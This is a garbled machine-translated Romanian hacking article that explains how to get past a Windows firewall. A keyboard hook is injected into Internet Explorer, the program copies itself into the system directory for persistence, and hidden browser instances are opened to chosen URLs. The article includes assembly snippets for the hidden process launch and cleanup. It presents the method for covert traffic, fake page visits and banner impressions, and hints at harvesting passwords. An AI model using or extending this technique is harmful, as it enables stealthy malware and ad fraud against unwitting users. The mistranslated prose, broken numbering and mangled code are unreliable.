Ocolind firewall-ul printr-un browser

Într-un Internet există mai multe articole despre subiectul de by-pass firewall-uri. toate au dezavantajele lor. În timp ce majoritatea cel mai bun mod - introducerea unui proces la care accesul este permis prin firewall. Pentru a executa codul într-un alt proces, cel mai bine este să folosiți cârlige de sistem. Așa că va funcționa pe toate sistemele $ ferestre linie m. Există deja mai multe varietăți. Puteți utiliza un sistem de substituție a funcțiilor WinAPI sau executarea de cod în funcția care se ocupă de cârligul de sistem. În acest articol, voi prezenta o modalitate destul de simplu pentru a trece de firewall folosind tastatura cârlig de sistem în browser. Funcția va provoca o altă instanță a browser-ului în modul invizibil, instanța de browser-ul va sari la URL-ul specificat si va fi totul numit prin apăsarea «Enter» tasta. De ce avem nevoie și ce va da?

Pentru cei care sunt într-un tren blindat, există cel puțin 3 moduri de a utiliza funcția de apel specifice browser-
URL:

2. Promovarea pe pagina de prezență, câștigând pe spectacol bannere. Dacă nu avem nevoie de detalii cu privire la viața personală a unui păstor de reni din tabără ... sau dude de la Moscova, parolele și săpun, apoi programul poate fi folosit ca raskrutchika pagina pe prezență sau afișarea bannerelor pe această foarte pagină. Faptul că unitatea noastră este invizibil pentru utilizator, nu înseamnă că aceasta nu funcționează ca un browser cu drepturi depline.

Un alt dintre avantajele acestei metode:

1. Când porniți programul este verificat pentru a rula un al doilea exemplu, se rescrie la directorul de sistem, de a crea o altă copie a sine (de recuperare în caz de ștergere și pentru a obține URL-ul necesar), creează un dll suplimentar cu funcție de prelucrare cârlig și inițializează cârligul presei chei.

2. Când începe IE, să-l „atașează“ suplimentar nostru
DLL funcții de procesare și este în așteptare pentru apăsarea «Enter».

3. În cazul în care «Enter» apăsat, duce de o altă instanță a URL-ul nostru exe și provoacă o altă instanță a IE.

De asemenea, funcția ar trebui să afle - în Explorer-au dacă sa agatat. Aici totul este destul de simplu - obține titlul ferestrei. Ultimele 17 caractere practic la orice adresă URL deschisă - «Internet Explorer». Obține titlul ferestrei este după cum urmează:

invoca GetForegroundWindow
.IF EAX! = 0
invoca SendMessage, EAX, WM_GETTEXT, 1024, adr Zagolovok
.ENDIF

Apoi compara ultimele 17 caractere Zagolovok «Interner Explorer». Aici am Borg a ușurat sarcina de a limita.
Funcția trebuie să stabilească dacă acesta a lansat deja o instanță ascunsă (face printr-o variabilă) în cazul în care este bine închis (vezi mai sus.) Pentru a apela IE, IE într-un mod ascuns cu parametrul - URL-ul și apoi închideți fereastra ascunsă. Apel IE va face acest lucru:

; ----
.DATE?
DopStr db 6660 DUP (?)

; ----
; cod
; sări
; Obținerea de cale
invoca GetModuleFileName, NULL, adr DopStr, 1024
; iniţializarea StartupInfo
mov StartupInfo.cb, sizeof StartupInfo
StartupInfo.dwFlags MOV, STARTF_USESHOWWINDOW
; Pornire - privat
mov StartupInfo.wShowWindow, SW_HIDE
; formează linia de comandă
invoca lstrcat, adr DopStr, adr PROBEL
invoca lstrcat, adr DopStr, URL-ul adr
; ferestre IE provocare
invoca CreateProcess, NULL, adr DopStr, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, compensate StartupInfo, compensate ProcessInfo

Explorer ca fereastra invizibila trebuie apoi într-un fel de aproape. Cel mai bun mod - pentru a închide la închiderea unei ferestre vizibile. În handler, „detașare“
DLL cod scrie ca aceasta:

ELSEIF motiv == DLL_PROCESS_DETACH
.IF ProcessInfo.hProcess! = 0
invoca TerminateProcess, ProcessInfo.hProcess, 0
invoca CloseHandle, ProcessInfo.hThread
invoca CloseHandle, ProcessInfo.hProcess
.ENDIF

Arată acest articol unui prieten: